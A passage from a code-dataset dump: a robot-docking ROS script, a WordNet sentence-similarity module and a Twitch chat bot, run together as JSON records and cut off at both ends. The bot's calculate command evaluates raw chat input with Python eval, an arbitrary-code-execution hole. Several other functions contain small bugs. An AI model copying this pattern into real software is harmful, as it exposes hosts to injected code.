2) >= 0b000001000 :\n self._dockState = 5\n else :\n self._dockState = 2\n \n self._velPublisher.publish(self._velocity)\n \n elif self._dockState == 2:\n if int(bin(self.dockdata & 0b000111000), 2) >= 0b000001000 :\n self._dockingfb.sequence = 'Center line found...'\n self._dockServer.publish_feedback(self._dockingfb) \n self._linear_vel(0)\n self._velPublisher.publish(self._velocity)\n self._dockState = 5\n \n elif int(bin(self.dockdata & 0b111000000), 2) >= 0b001000000 :\n self._dockingfb.sequence = 'Rotating to the center line...'\n self._dockServer.publish_feedback(self._dockingfb) \n self._linear_vel(0)\n self._velPublisher.publish(self._velocity)\n self._dockState = 3\n\n elif int(bin(self.dockdata & 0b000000111), 2) >= 0b000000010 :\n self._dockingfb.sequence = 'Rotating to the center line...'\n self._dockServer.publish_feedback(self._dockingfb) \n self._linear_vel(0)\n self._velPublisher.publish(self._velocity)\n self._dockState = 4\n\n self._linear_vel(1)\n self._angular_vel_ck(0)\n self._velPublisher.publish(self._velocity)\n\n elif self._dockState == 3:\n self._linear_vel(0)\n self._angular_vel_ck(3)\n self._velPublisher.publish(self._velocity)\n \n if int(bin(self.dockdata & 0b000111001), 2) >= 0b000000001 :\n self._dockState = 5\n self._dockingfb.sequence = 'Get ready to dock...'\n self._dockServer.publish_feedback(self._dockingfb) \n \n elif self._dockState == 4:\n self._linear_vel(0)\n self._angular_vel_ack(3)\n self._velPublisher.publish(self._velocity)\n \n if int(bin(self.dockdata & 0b100111000), 2) >= 0b000001000 :\n self._dockState = 5\n self._dockingfb.sequence = 'Get ready to dock...'\n self._dockServer.publish_feedback(self._dockingfb) \n\n elif self._dockState == 5:\n self._velocity.angular.z = 0 \n self._velPublisher.publish(self._velocity)\n self._dockingfb.sequence = \"Initiate docking...\"\n self._dockServer.publish_feedback(self._dockingfb)\n self._dockState = 6\n\n elif self._dockState == 6:\n\n if (self._bumperState.data == 1):\n self._linear_vel(0)\n self._angular_vel_ck(0)\n self._success = True\n\n if int(bin(self.dockdata & 0b000010000), 2) == 0b000010000 : # ~|~|~ ~|C|~ ~|~|~\n self._linear_vel(1)\n self.angular_z = 0\n if int(bin(self.dockdata & 0b000100000), 2) == 0b000100000 : # ~|~|~ L|C|~ ~|~|~\n self.angular_z += -0.1\n if int(bin(self.dockdata & 0b000001000), 2) == 0b000001000 : # ~|~|~ ~|C|R ~|~|~\n self.angular_z += 0.1\n \n self._velocity.angular.z = self.angular_z\n\n elif int(bin(self.dockdata & 0b10000001), 2) >= 0b000000001 : # L|~|~ ~|~|~ ~|~|R\n self._linear_vel(1)\n self.angular__z = 0\n\n if int(bin(self.dockdata & 0b000000001), 2) == 0b000000001 : # ~|~|~ ~|~|~ ~|~|R\n self.angular__z += -0.1\n\n if int(bin(self.dockdata & 0b100000000), 2) == 0b100000000 : # L|~|~ ~|~|~ ~|~|~\n self.angular__z += 0.1\n\n self._velocity.angular.z = self.angular__z\n\n elif int(bin(self.dockdata & 0b000100000), 2) >= 0b000000001 : # ~|~|~ L|~|~ ~|~|~\n self._linear_vel(1)\n self._angular_vel_ack(1)\n\n elif int(bin(self.dockdata & 0b000001000), 2) >= 0b000001000 : # ~|~|~ ~|~|R ~|~|~\n self._linear_vel(1)\n self._angular_vel_ck(1)\n\n elif int(bin(self.dockdata & 0b001000000), 2) >= 0b001000000 : # ~|~|R ~|~|~ ~|~|~\n self._linear_vel(1)\n self._angular_vel_ck(2)\n\n elif int(bin(self.dockdata & 0b000000100), 2) >= 0b000000100 : # ~|~|~ ~|~|~ L|~|~\n self._linear_vel(1)\n self._angular_vel_ack(2)\n\n else :\n self._linear_vel(1)\n self._angular_vel_ck(0)\n\n self._velPublisher.publish(self._velocity)\n\n if self._success == True:\n self._linear_vel(0)\n self._angular_vel_ck(0)\n self._velPublisher.publish(self._velocity)\n if int(bin(self.dockdata & 0b000010000), 2) == 0b000010000 :\n self._relay_pub.publish(self._relay_ON)\n self._result.consequence = self._success\n rospy.loginfo('Successfully docked!')\n self._dockingfb.sequence = \"Successfully docked!\"\n self._dockServer.publish_feedback(self._dockingfb)\n self._dockServer.set_succeeded(self._result)\n else :\n self._result.consequence = self._success\n rospy.loginfo('docked fail...')\n self._dockingfb.sequence = \"docked fail...\"\n self._dockServer.publish_feedback(self._dockingfb)\n self._dockServer.set_succeeded(self._result)\n \n \n rate.sleep()\n \n\n def cb_getIR(self, msg):\n self._dockdata = msg\n self.dockdata = self._dockdata.data\n\n def cb_getBUMPER(self, msg):\n self._bumperState = msg\n\n def publish_vel(self):\n self._velPublisher.publish(self._velocity)\n \n def _linear_vel(self, l_multiple_num):\n self._velocity.linear.x = l_multiple_num * -0.05\n\n def _angular_vel_ck(self, a_multiple_num):\n self._velocity.angular.z = a_multiple_num * 0.1\n\n def _angular_vel_ack(self, a_multiple_num):\n self._velocity.angular.z = a_multiple_num * -0.1 \n\n\nif __name__ == '__main__':\n rospy.init_node('james_docking')\n rate = rospy.Rate(3000)\n jamesDocking()","sub_path":"semidock.py","file_name":"semidock.py","file_ext":"py","file_size_in_byte":9996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"33336497","text":"import collections, re\nimport sys\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.wsd import lesk\nfrom .algorithms import algorithms\nimport nltk\nimport openpyxl\nimport math\n\noutputs = list()\n\n#use for computation\n\n\n#stopwords\n#test_sentences\nsentence_1 = 'a cock is an adult male chicken'\nsentence_2 = 'a rooster is an adult male chicken'\n_vector1 = [ 0.90800855,0.99742103,0.90118787,0.42189901,0.81750916, 0.0, 0.0, 0.0, 0.0]\n_vector2 = [ 0.99742103, 0.90118787, 0.42189901, 0.0, 0.0,0.40630945, 0.0, 0.59202, 0.81750916]\n\n#step 1\nclass magnitude:\n def tokenize(src):\n lemmatizer = WordNetLemmatizer()\n stop_words = stopwords.words('english')\n output = list()\n i = word_tokenize(src)\n #print(i)#outputs the tokenized sentence\n #print(i[1])#outputs the second token in the list of tokens\n k = nltk.pos_tag(i)\n #print(k)\n #print(k[2][1])#outputs the part of speech\n for x in k:\n if x not in stop_words:\n if x[1].startswith('NN'):\n output.append(lemmatizer.lemmatize(x[0], wn.NOUN))\n elif x[1].startswith('VB') and x[1] != 'VBZ':\n output.append(lemmatizer.lemmatize(x[0], wn.VERB))\n elif x[1].startswith('JJ'):\n output.append(lemmatizer.lemmatize(x[0], wn.VERB))\n else:\n continue\n return output\n\n#step 2.1\n def get_best_synset_pair(word_1, word_2):\n \n max_sim = -1.0\n synsets_1 = wn.synsets(word_1)\n synsets_2 = wn.synsets(word_2)\n if len(synsets_1) == 0 or len(synsets_2) == 0:\n return None, None\n else:\n max_sim = -1.0\n best_pair = None, None\n #names = [ s.name() for s in synsets_1]\n #split_name = names[0].split(\".\")\n #print(split_name[0])\n #print(names)\n #print(word_1)\n for synset_1 in synsets_1:\n if synset_1.name().find(word_1) != -1:\n #print('SYNSET1: ',synset_1)\n for synset_2 in synsets_2:\n #print('SYNSET2: ',synset_2)\n sim = wn.path_similarity(synset_1, synset_2)\n #print(sim)\n if sim!=None and sim > max_sim:\n max_sim = sim\n best_pair = synset_1, synset_2\n else:\n continue\n #print('Best Pair: ',best_pair)\n return best_pair\n\n#step 2.2.1\n def length_dist(synset_1, synset_2):\n ALPHA = 0.2\n l_dist = sys.maxsize\n if synset_1 is None or synset_2 is None: \n return 0.0\n if synset_1 == synset_2:\n # if synset_1 and synset_2 are the same synset return 0\n l_dist = 0.0\n else:\n wset_1 = set([str(x.name()) for x in synset_1.lemmas()]) \n wset_2 = set([str(x.name()) for x in synset_2.lemmas()])\n if len(wset_1.intersection(wset_2)) > 0:\n # if synset_1 != synset_2 but there is word overlap, return 1.0\n l_dist = 1.0\n else:\n # just compute the shortest path between the two\n l_dist = synset_1.shortest_path_distance(synset_2)\n if l_dist is None:\n l_dist = 0.0\n # normalize path length to the range [0,1]\n return math.exp(-ALPHA * l_dist)\n\n#step 2.2.1\n def hierarchy_dist(synset_1, synset_2):\n BETA = 0.45\n h_dist = sys.maxsize\n if synset_1 is None or synset_2 is None: \n return h_dist\n if synset_1 == synset_2:\n # return the depth of one of synset_1 or synset_2\n h_dist = max([x[1] for x in synset_1.hypernym_distances()])\n else:\n # find the max depth of least common subsumer\n hypernyms_1 = {x[0]:x[1] for x in synset_1.hypernym_distances()}\n hypernyms_2 = {x[0]:x[1] for x in synset_2.hypernym_distances()}\n lcs_candidates = set(hypernyms_1.keys()).intersection(\n set(hypernyms_2.keys()))\n if len(lcs_candidates) > 0:\n lcs_dists = []\n for lcs_candidate in lcs_candidates:\n lcs_d1 = 0\n if lcs_candidate in hypernyms_1:\n lcs_d1 = hypernyms_1[lcs_candidate]\n lcs_d2 = 0\n if lcs_candidate in hypernyms_2:\n lcs_d2 = hypernyms_2[lcs_candidate]\n lcs_dists.append(max([lcs_d1, lcs_d2]))\n h_dist = max(lcs_dists)\n else:\n h_dist = 0\n return ((math.exp(BETA * h_dist) - math.exp(-BETA * h_dist)) / \n (math.exp(BETA * h_dist) + math.exp(-BETA * h_dist)))\n\n#overall step 2 \n def word_similarity(word_1, word_2):\n synset_pair = word_1,word_2\n return (magnitude.length_dist(synset_pair[0], synset_pair[1])*magnitude.hierarchy_dist(synset_pair[0], synset_pair[1]))\n\n#step 3\n def normalize_vector(src1, src2):\n vector_1 = list()\n vector_2 = list()\n highestVector = 0.0\n for word in src1:\n for ref_word in src2:\n if magnitude.word_similarity(word, ref_word) > highestVector:\n highestVector = magnitude.word_similarity(word, ref_word)\n vector_1.append(highestVector)\n highestVector = 0.0\n for word in src2:\n for ref_word in src1:\n if magnitude.word_similarity(word, ref_word) > highestVector:\n highestVector = magnitude.word_similarity(word, ref_word)\n vector_2.append(highestVector)\n highestVector = 0.0\n return vector_1, vector_2\n\n#step 4\n \n def magnitude_of_vectors(vector1, vector2):\n if vector1 != vector2:\n V1 = 0.0\n V2 = 0.0\n for vector in vector1:\n V1 = V1 + (vector**2)\n V1 = math.sqrt(V1)\n for vector in vector2:\n V2 = V2 + (vector**2)\n V2 = math.sqrt(V2)\n magnitude = V1*V2\n return magnitude\n else:\n return 1.0\n\n#step 5\n \n def zeta(vec1, vec2, sem_sim):\n gamma = 1.8\n if sem_sim != 1.0:\n if vec1 > vec2:\n vec_length = len(vec1)\n else:\n vec_length = len(vec2)\n passed_vector1 = 0.0\n passed_vector2 = 0.0\n for vector in vec1:\n if vector > 0.8025:\n passed_vector1 = passed_vector1 + 1.0\n else:\n passed_vector1 = passed_vector1 + 0.2\n continue\n for vector in vec2:\n if vector > 0.8025:\n passed_vector2 = passed_vector2 + 1.0\n else:\n passed_vector2 = passed_vector2 + 0.2\n continue\n total_vector_passed = passed_vector1+passed_vector2\n #print('Total Vector',total_vector_passed)\n if total_vector_passed == 0:\n final_zeta = vec_length/2\n else:\n final_zeta = total_vector_passed/gamma\n #print('\\nTotal Vector Passed:',total_vector_passed)\n #print('Zeta:',final_zeta)\n final_similarity = sem_sim/final_zeta\n if final_similarity <= 1.0:\n #print('ZETA', final_zeta)\n return final_similarity\n else:\n while (final_similarity > 1.0):\n gamma = gamma-0.1\n final_zeta = total_vector_passed/gamma\n final_similarity = sem_sim/final_zeta\n return final_similarity\n else:\n return 1.0\n\n def wsd(sentence1, sentence2):\n wsd_sentence1= list()\n wsd_sentence2= list()\n for ambiguous_word1 in sentence1:\n wsd_sentence1.append(lesk(sentence1, ambiguous_word1))\n for ambiguous_word2 in sentence2:\n wsd_sentence2.append(lesk(sentence2, ambiguous_word2))\n #print(wsd_sentence1, wsd_sentence2)\n return wsd_sentence1, wsd_sentence2\n def get_result(questions):\n ref_number = \"\"\n result = \"\"\n progresscount = len(questions) ** 2 - len(questions)\n count = 1\n for question1 in questions:\n ref_number = question1[0:question1.find(\".\")]\n result += f\"\"\"
     
    \n
    \n

    {question1}

    \n

    Similarities:

    \n

    \n
    \n
    \"\"\"\n for question2 in questions:\n print(f\"Progress: {round((count/progresscount)*100, 2)}%\")\n if(question1 != question2):\n t_question1 = re.sub(\"^\\d+\\. \",\"\",question1)\n t_question2 = re.sub(\"^\\d+\\. \",\"\",question2)\n tokenized_1 = magnitude.tokenize(t_question1)\n tokenized_2 = magnitude.tokenize(t_question2)\n wsd_sentences = magnitude.wsd(tokenized_1, tokenized_2)\n normalized_vector = magnitude.normalize_vector(wsd_sentences[0],wsd_sentences[1])\n semantic_sim = magnitude.magnitude_of_vectors(normalized_vector[0],normalized_vector[1])\n rate = magnitude.zeta(normalized_vector[0], normalized_vector[1], semantic_sim)\n result += algorithms.output_similarities(rate, f\"Similarity rate: {round(rate*100,2)}\", question2, ref_number, question1 )\n count+=1\n result += \"
    \"\n return result\n","sub_path":"similarity-assessment/magnitude.py","file_name":"magnitude.py","file_ext":"py","file_size_in_byte":10034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"558642902","text":"import datetime\nimport json\nimport sys\nimport traceback\nfrom difflib import SequenceMatcher\nfrom os import environ, getenv, execv, mkdir\nfrom os.path import isfile, isdir\nfrom pathlib import Path\nfrom random import choice, randint\n\nimport arrow\nimport praw\nimport requests\nfrom dotenv import load_dotenv\nfrom twitchio.ext import commands\nfrom twitchio.ext.commands.errors import *\n\n\ndef graceful_exit(restart=False):\n \"\"\"Properly exit the program with appropriate exit operations\"\"\"\n save_data()\n if restart:\n execv(sys.executable, [\"python\"] + sys.argv)\n exit()\n\n\ndef assert_data():\n if not isdir(\"data\"):\n mkdir(\"data\")\n if not isfile(\"data/lists.json\"):\n with open(\"data/lists.json\", \"w\") as f:\n json.dump({\"cache\": {\"restart\": False}, \"goodhuman\": {}, \"goodbot\": {}, \"modlist\": [],\n \"sabotagemessages\": [], \"transcribers\": [], \"halfbots\": [], \"petlist\": {\"air\": 0}}, f, indent=2)\n\n\ndef save_data():\n assert_data()\n with open(\"data/lists.json\", \"w\") as f:\n json.dump(lists, f, indent=2)\n\n\ndef get_gamma() -> int:\n last_comment = reddit.submission(url=osecrets[\"tor_flair_link\"]).comments[0]\n while True:\n if last_comment.id != osecrets[\"tor_flair_comment_id\"]:\n last_comment = last_comment.replies[0]\n else:\n return int(last_comment.author_flair_text.split(\"Γ\")[0])\n\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n\nasync def add_remove_action(ctx, action, value, data_name, appearance_name, mod_only=True):\n action = action.lower()\n if action not in [\"add\", \"remove\"]:\n await ctx.send(\"Invalid action \\\"{}\\\"\".format(action))\n return\n if value is None:\n await ctx.send(\"No value provided for action \\\"{}\\\"\".format(action))\n return\n if not ctx.author.is_mod and mod_only:\n await ctx.send(\"{} This command is for mods only\".format(ctx.author.display_name))\n return\n if action == \"add\":\n if value in lists[data_name]:\n await ctx.send(\"\\\"{}\\\" is already in {} list\".format(value, appearance_name))\n return\n lists[data_name].append(value)\n elif action == \"remove\":\n if value not in lists[\"sabotagemessages\"]:\n await ctx.send(\"\\\"{}\\\" is not in {} list\".format(value, appearance_name))\n return\n lists[data_name].remove(value)\n save_data()\n await ctx.send(\"Successfully {}{} \\\"{}\\\" {} {} list\".format(action, \"d\" if action[:-1] == \"e\" else \"ed\",\n value, \"to\" if action == \"add\" else \"from\",\n appearance_name))\n\n\ntwitch_secrets = [\"IRC_TOKEN\", \"CLIENT_ID\", \"NICK\", \"PREFIX\", \"INITIAL_CHANNELS\"]\nreddit_secrets = [\"REDDIT_ID\", \"REDDIT_SECRET\", \"REDDIT_USERNAME\", \"REDDIT_PASSWORD\"]\nother_secrets = [\"PI_WEBHOOK\", \"REMINDERS_WEBHOOK\", \"TOR_FLAIR_LINK\", \"TOR_FLAIR_COMMENT_ID\"]\n\nenvi = True\n# Check if secrets are in environment variables\nfor secret in twitch_secrets + reddit_secrets + other_secrets:\n if secret not in environ.keys():\n envi = False\n break\n# If not, check .env file\nif not envi:\n env_path = Path(\".\") / \".env\"\n load_dotenv(dotenv_path=env_path)\n# Load secrets\nsecrets = {}\nfor secret in twitch_secrets:\n if secret != \"INITIAL_CHANNELS\":\n secrets[secret.lower()] = getenv(secret)\n else:\n secrets[secret.lower()] = [getenv(secret)]\nrsecrets = {}\nfor secret in reddit_secrets:\n rsecrets[secret.lower()] = getenv(secret)\nosecrets = {}\nfor secret in other_secrets:\n osecrets[secret.lower()] = getenv(secret)\n# Check all secrets are present\nfor secret in secrets.values():\n if secret is None:\n print(\"Cannot get required secret\")\n exit()\nfor secret in rsecrets.values():\n if secret is None:\n print(\"Cannot get required secret\")\n exit()\nfor secret in osecrets.values():\n if secret is None:\n print(\"Cannot get other secret\")\n exit()\n\n# Load stored data\nassert_data()\nwith open(\"data/lists.json\", \"r\") as f:\n lists = json.load(f)\n\n# Create bot instance\nclient = commands.Bot(**secrets)\n\n# Create PRAW instance for reddit commands\nreddit = praw.Reddit(user_agent=\"BLANK_DvTH Twitch Stream Bot\", client_id=rsecrets[\"reddit_id\"],\n client_secret=rsecrets[\"reddit_secret\"], username=rsecrets[\"reddit_username\"],\n password=rsecrets[\"reddit_password\"])\n\n# Set starting gamma value\nif lists[\"cache\"][\"restart\"]:\n starting_gamma = lists[\"cache\"][\"starting_gamma\"]\n lists[\"cache\"][\"restart\"] = False\n save_data()\nelse:\n starting_gamma = get_gamma()\n\n\n@client.event\nasync def event_ready():\n \"\"\"Called when bot is ready\"\"\"\n print(\"Bot Ready\")\n # noinspection PyProtectedMember\n ws = client._ws\n await ws.send_privmsg(secrets[\"initial_channels\"][0],\n \"/me is now online, see my commands with \\\"{}help\\\"\".format(secrets[\"prefix\"]))\n\n\n@client.event\nasync def event_command_error(ctx, error):\n if isinstance(error, CommandNotFound):\n command = ctx.message.content[len(secrets[\"prefix\"]):]\n command_similarities = {}\n for cmd in client.commands.keys():\n command_similarities[similar(command, cmd)] = cmd\n if len(command_similarities) == 0:\n await ctx.send(\"Invalid Command, no similar commands found.\")\n highest_command = max([*command_similarities]), command_similarities[max([*command_similarities])]\n if highest_command[0] < 0.55:\n await ctx.send(\"Invalid Command, no commands with greater than 55% similarity found.\")\n else:\n await ctx.send(\"Invalid Command, did you mean \\\"{}\\\"?\".format(highest_command[1]))\n return\n if isinstance(error, MissingRequiredArgument):\n await ctx.send(\"Missing Required Argument: {}. For more info on how to use this command, look at the help \"\n \"documentation ({}help)\".format(error.param.name, secrets[\"prefix\"]))\n return\n traceback.print_exception(type(error), error, error.__traceback__, file=sys.stderr)\n await ctx.send(\n \"{} while executing command {}\".format(type(error).__name__, ctx.message.content[len(secrets[\"prefix\"]):]))\n\n\n@client.event\nasync def event_message(message):\n \"\"\"Called when message is sent\"\"\"\n # Ignore the bots own messages (wouldn't want infinite loops now do we)\n if message.author.name.lower() == secrets[\"nick\"].lower():\n return\n if secrets[\"prefix\"] != message.content[len(secrets[\"prefix\"]):].lower() and \"good bot\" in message.content:\n await message.channel.send(\"Thanks\")\n # Handle any commands that might appear\n await client.handle_commands(message)\n\n\n@client.event\nasync def event_join(user):\n if user.name.casefold() in lists[\"modlist\"]:\n # noinspection PyProtectedMember\n ws = client._ws\n await ws.send_privmsg(secrets[\"initial_channels\"][0], \"Everyone run! {} is here!\".format(user.display_name))\n elif user.name.casefold() == \"cloakknight2\":\n # noinspection PyProtectedMember\n ws = client._ws\n await ws.send_privmsg(secrets[\"initial_channels\"][0], \"Looks like madlad {} is here, say byebye to all of \"\n \"your posts!\".format(user.display_name))\n\n\n@client.command()\nasync def test(ctx):\n choices = [\"I'm working!\", \"What is there to test?\", \"What? You think I'm broken?\"]\n await ctx.send(choice(choices))\n\n\n@client.command(aliases=[\"pi\"])\nasync def piwarning(ctx):\n requests.post(osecrets[\"pi_webhook\"], data=json.dumps({\"content\": \"<@616032766974361640> {} has warned that the \"\n \"current post contains PI!\"\n .format(ctx.author.display_name)}),\n headers={\"Content-Type\": \"application/json\"})\n await ctx.send(\"BLANK_DvTH has been warned through a discord ping\")\n\n\n@client.command()\nasync def goodbot(ctx, *, user=\"BLANK_DvTH\"):\n if ctx.author.name.casefold() == user.casefold():\n await ctx.send(\"You can't call yourself a good bot!\")\n else:\n if user.casefold() not in lists[\"goodbot\"].keys():\n lists[\"goodbot\"][user.casefold()] = 1\n else:\n lists[\"goodbot\"][user.casefold()] += 1\n await ctx.send(\n \"{} has been called a good bot {:,} times.\".format(user, lists[\"goodbot\"][user.casefold()]))\n save_data()\n\n\n@client.command()\nasync def goodhuman(ctx, *, user=\"BLANK_DvTH\"):\n if ctx.author.name.casefold() == user.casefold():\n await ctx.send(\"You can't call yourself a good human!\")\n else:\n if user.casefold() not in lists[\"goodhuman\"].keys():\n lists[\"goodhuman\"][user.casefold()] = 1\n else:\n lists[\"goodhuman\"][user.casefold()] += 1\n await ctx.send(\"{} has been called a good human {:,} times.\".format(user, lists[\"goodhuman\"][user.casefold()]))\n save_data()\n\n\n@client.command()\nasync def remindme(ctx, *, reminder):\n if ctx.author.name.casefold() != \"blank_dvth\":\n await ctx.send(\"{} This command is for BLANK only. If there's more demand for this command I may come up with \"\n \"a public version that works on a time basis (e.g. {}remindme 1m test).\".format(\n ctx.author.display_name,\n secrets[\"prefix\"]))\n return\n requests.post(osecrets[\"reminders_webhook\"], data=json.dumps({\"content\": reminder}),\n headers={\"Content-Type\": \"application/json\"})\n\n\n@client.command(name=\"exit\")\nasync def _exit(ctx):\n if ctx.author.name.casefold() != \"blank_dvth\":\n await ctx.send(\"{} This command is for BLANK only\".format(ctx.author.display_name))\n return\n await ctx.send(\"{} exiting...\".format(ctx.author.display_name))\n graceful_exit()\n\n\n@client.command(name=\"restart\")\nasync def _restart(ctx, cache_data=\"true\"):\n if not ctx.author.is_mod:\n await ctx.send(\"{} This command is for mods only\".format(ctx.author.display_name))\n return\n vals = {\"true\": True, \"false\": False}\n if cache_data.lower() not in vals.keys():\n await ctx.send(\"Invalid boolean value for cache_data argument\")\n return\n cache_data = vals[cache_data.lower()]\n await ctx.send(\"{} restarting...\".format(ctx.author.display_name))\n if cache_data:\n lists[\"cache\"][\"restart\"] = True\n lists[\"cache\"][\"starting_gamma\"] = starting_gamma\n graceful_exit(restart=True)\n\n\n@client.command()\nasync def progress(ctx):\n gamma = get_gamma()\n await ctx.send(\"{:,} transcription{} have been done this stream.\".format(gamma - starting_gamma,\n \"s\" if gamma - starting_gamma != 1 else \"\"))\n\n\n@client.command(name=\"getgamma\", aliases=[\"gamma\"])\nasync def _get_gamma(ctx):\n await ctx.send(\"BLANK is currently at {:,}Γ\".format(get_gamma()))\n\n\n@client.command(name=\"startinggamma\", aliases=[\"sg\"])\nasync def _starting_gamma(ctx, new_gamma: int = None):\n global starting_gamma\n if new_gamma is None:\n # noinspection PyUnboundLocalVariable\n await ctx.send(\"Starting gamma is currently set to {:,}Γ\".format(starting_gamma))\n else:\n if not ctx.author.is_mod:\n await ctx.send(\"{} This command is for mods only\".format(ctx.author.display_name))\n return\n old_starting = starting_gamma\n starting_gamma = new_gamma\n await ctx.send(\"Starting gamma has been changed from {:,}Γ to {:,}Γ\".format(old_starting, starting_gamma))\n\n\n@client.command()\nasync def modlist(ctx, action=None, value=None):\n if not ctx.author.is_mod:\n await ctx.send(\"{} This command is for mods only\".format(ctx.author.display_name))\n return\n if action is not None:\n await add_remove_action(ctx, action, value, \"modlist\", \"mod\")\n return\n await ctx.send(\"Here is the current mod list: \" + \", \".join(lists[\"modlist\"]))\n\n\n@client.command()\nasync def christmas(ctx, *, timezone=\"UTC\"):\n try:\n date = arrow.utcnow().to(timezone)\n next_xmas = arrow.get(datetime.datetime(date.year, 12, 25), timezone)\n if next_xmas < date:\n next_xmas = arrow.get(datetime.datetime(date.year + 1, 12, 25), timezone)\n except arrow.parser.ParserError:\n await ctx.send(\"Could not parse timezone \\\"{}\\\"\".format(timezone))\n return\n tdelta = next_xmas - date\n d = {\"days\": tdelta.days}\n d[\"hours\"], rem = divmod(tdelta.seconds, 3600)\n d[\"minutes\"], d[\"seconds\"] = divmod(rem, 60)\n formatted_time = \"{} day{}, {} hour{}, {} minute{}, and {} second{}\".format(d[\"days\"],\n \"s\" if str(d[\"days\"]) != \"1\" else \"\",\n d[\"hours\"],\n \"s\" if str(d[\"hours\"]) != \"1\" else \"\",\n d[\"minutes\"],\n \"s\" if str(d[\"minutes\"]) != \"1\" else \"\",\n d[\"seconds\"],\n \"s\" if str(d[\"seconds\"]) != \"1\" else \"\")\n await ctx.send(\n \"{} until Christmas ({} in {})\".format(formatted_time, next_xmas.strftime(\"%Y-%m-%d %H:%M:%S\"), timezone))\n\n\n@client.command()\nasync def newyear(ctx, *, timezone=\"UTC\"):\n try:\n date = arrow.utcnow().to(timezone)\n next_newyear = arrow.get(datetime.datetime(date.year + 1, 1, 1), timezone)\n except arrow.parser.ParserError:\n await ctx.send(\"Could not parse timezone \\\"{}\\\"\".format(timezone))\n return\n tdelta = next_newyear - date\n d = {\"days\": tdelta.days}\n d[\"hours\"], rem = divmod(tdelta.seconds, 3600)\n d[\"minutes\"], d[\"seconds\"] = divmod(rem, 60)\n formatted_time = \"{} day{}, {} hour{}, {} minute{}, and {} second{}\".format(d[\"days\"],\n \"s\" if str(d[\"days\"]) != \"1\" else \"\",\n d[\"hours\"],\n \"s\" if str(d[\"hours\"]) != \"1\" else \"\",\n d[\"minutes\"],\n \"s\" if str(d[\"minutes\"]) != \"1\" else \"\",\n d[\"seconds\"],\n \"s\" if str(d[\"seconds\"]) != \"1\" else \"\")\n await ctx.send(\n \"{} until New Years ({} in {})\".format(formatted_time, next_newyear.strftime(\"%Y-%m-%d %H:%M:%S\"), timezone))\n\n\n@client.command()\nasync def sabotage(ctx, action=None, *, value=None):\n if action is not None:\n await add_remove_action(ctx, action, value, \"sabotagemessages\", \"sabotage\")\n return\n await ctx.send(\"{} has {}.\".format(ctx.author.display_name, choice(lists[\"sabotagemessages\"])))\n\n\n@client.command()\nasync def transcribers(ctx, action=None, *, value=None):\n if action is not None:\n await add_remove_action(ctx, action, value, \"transcribers\", \"streaming transcriber\")\n return\n await ctx.send(\"Here's a list of other transcribers that stream: \" + \", \".join([\"{0} (twitch.tv/{0})\".format(t)\n for t in lists[\"transcribers\"]]))\n\n\n@client.command(aliases=[\"c\"])\nasync def calculate(ctx, *, expression):\n try:\n result = eval(expression, {}, {})\n await ctx.send(\"The answer to \\\"{}\\\" is \\\"{:,}\\\"\".format(expression, result))\n except Exception as e:\n await ctx.send(\"An error has occurred, please ensure that you entered a valid expression! Error: \\\"{}\\\"\".format(\n type(e).__name__ + \": \" + str(e)))\n\n\n@client.command(name=\"8ball\")\nasync def _8ball(ctx, *, question=None):\n if question is None:\n await ctx.send(\"{} what are you asking me again?\".format(ctx.author.display_name))\n return\n responses = [\"It is certain\", \"It is decidedly so\", \"Without a doubt\", \"Yes definitely\", \"You may rely on it\",\n \"As I see it, yes\", \"Most likely\", \"Yes\", \"Signs point to yes\", \"Reply hazy, try again\",\n \"Ask again later\",\n \"Better not tell you now\", \"Cannot predict now\", \"Don't count on it\", \"My reply is no\",\n \"My sources say no\",\n \"Very doubtful\"]\n await ctx.send(ctx.author.display_name + \" \" + choice(responses))\n\n\n@client.command()\nasync def activatebot(ctx, action=None, value=None):\n if ctx.author.name.casefold() not in lists[\"halfbots\"]:\n await ctx.send(\"You don't have a bot side, what're you activating again?\")\n return\n if action is not None:\n await add_remove_action(ctx, action, value, \"halfbots\", \"half bot\", mod_only=False)\n return\n await ctx.send(\"{} has just activated their bot half!\".format(ctx.author.display_name))\n\n\n@client.command()\nasync def banhammer(ctx, user=None):\n if user is None:\n await ctx.send(\"BOP {} has just hit themselves on accident with the banhammer!\".format(ctx.author.display_name))\n else:\n await ctx.send(\"BOP {} has just hit {} with the banhammer!\".format(ctx.author.display_name, user))\n\n\n@client.command()\nasync def faq(ctx):\n await ctx.send(\"You can see the FAQ of ToR (Transcribers Of Reddit) on my ToR panel as well as the full FAQ here:\"\n \" https://www.reddit.com/r/TranscribersOfReddit/wiki/index\")\n\n\n@client.command()\nasync def javascript(ctx):\n await ctx.send(\"Ew ew ew get that outta here!!!!\")\n\n\n@client.command()\nasync def teal(ctx):\n await ctx.send(\"Oh no! Teal :(. Time to do a 150/10^-∞!\")\n\n\n@client.command()\nasync def madlad(ctx, user=None):\n if user is None:\n await ctx.send(\"That term is reserved for Cloakknight!\")\n else:\n await ctx.send(\"{} is a madlad!\".format(user))\n\n\n@client.command()\nasync def mod(ctx, name=None):\n await ctx.send(\"Everyone run! {} is coming!\".format(\"Super Scary Mod Geoffy\" if name is None else name))\n\n\n@client.command()\nasync def pet(ctx, name=None):\n if name is None:\n lists[\"petlist\"][\"air\"] += 1\n await ctx.send(\"The air has been pet {:,} times\".format(lists[\"petlist\"][\"air\"]))\n else:\n name = name.replace(\"@\", \"\")\n if name.casefold() not in lists[\"petlist\"].keys():\n lists[\"petlist\"][name.casefold()] = 1\n await ctx.send(\"{0} has pet {1}, {1} has been pet {2:,} times\".format(ctx.author.display_name, name,\n lists[\"petlist\"][name.casefold()]))\n save_data()\n\n\n@client.command()\nasync def transcribe(ctx):\n await ctx.send(\"{} has transcribed {:,} posts!\".format(ctx.author.display_name, randint(0, starting_gamma - 1)))\n\n@client.command()\nasync def soon(ctx):\n await ctx.send(\"Soon™\")\n\n@client.command(name=\"help\", aliases=[\"commands\"])\nasync def _help(ctx):\n await ctx.send(\"Here's a link to the commands for this bot: \"\n 